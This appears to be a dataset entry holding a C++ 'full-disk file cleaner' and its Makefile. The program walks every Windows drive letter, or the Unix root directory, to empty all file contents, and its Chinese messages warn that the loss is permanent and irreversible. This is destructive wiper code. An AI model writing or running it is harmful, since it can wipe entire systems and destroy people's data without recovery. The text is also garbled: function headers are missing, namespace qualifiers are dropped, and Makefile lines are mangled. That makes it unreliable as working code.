#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#ifdef _WIN32
#include <windows.h>
#else
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>
#endif
class FileCleaner {
private:
int filesCleared;
int errorsOccurred;
public:
FileCleaner() : filesCleared(0), errorsOccurred(0) {}
#ifdef _WIN32
std::string searchPath = folderPath + "\.";
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
#else
DIR* dir = opendir(folderPath.c_str());
if (!dir) return;
#endif
}
#ifdef _WIN32
// Windows: 清理所有逻辑驱动器
DWORD drives = GetLogicalDrives();
for (char drive = 'A'; drive <= 'Z'; drive++) {
if (drives & (1 << (drive - 'A'))) {
stdstring drivePath = stdstring(1, drive) + ":\";
stdcout << "清理驱动器: " << drivePath << stdendl;
clearFolderContents(drivePath);
}
}
#else
// Linux/Unix: 清理根目录和主要挂载点
clearFolderContents("/");
#endif
}
};
int main() {
stdcout << "=== 全盘文件清理工具 ===" << stdendl;
stdcout << "警告: 此操作将永久清空所有驱动器上的文件内容!" << stdendl;
stdcout << "此操作不可恢复!" << stdendl;
}
<code_end>
<code_start project_name=cpp_文件清理工具 filename=Makefile title=项目编译配置 entrypoint=false runnable=false project_final_file=true>
CXX = g++
CXXFLAGS = -std=c++14 -O2 -Wall
TARGET = file_cleaner
SOURCE = file_cleaner.cpp
检测操作系统
ifeq ($(OS),Windows_NT)
PLATFORM = windows
TARGET := $(TARGET).exe
else
UNAME_S := (shelluname−s)ifeq((shell uname -s) ifeq ((shelluname−s)ifeq((UNAME_S),Linux)
PLATFORM = linux
else ifeq ($(UNAME_S),Darwin)
PLATFORM = macos
else
PLATFORM = unix
endif
endif
all: $(TARGET)
$(TARGET): $(SOURCE)
$(CXX) $(CXXFLAGS) -o $(TARGET) $(SOURCE)
clean:
rm -f $(TARGET)
run: (TARGET)./(TARGET) ./(TARGET)./(TARGET)
.PHONY: all clean run
<code_end>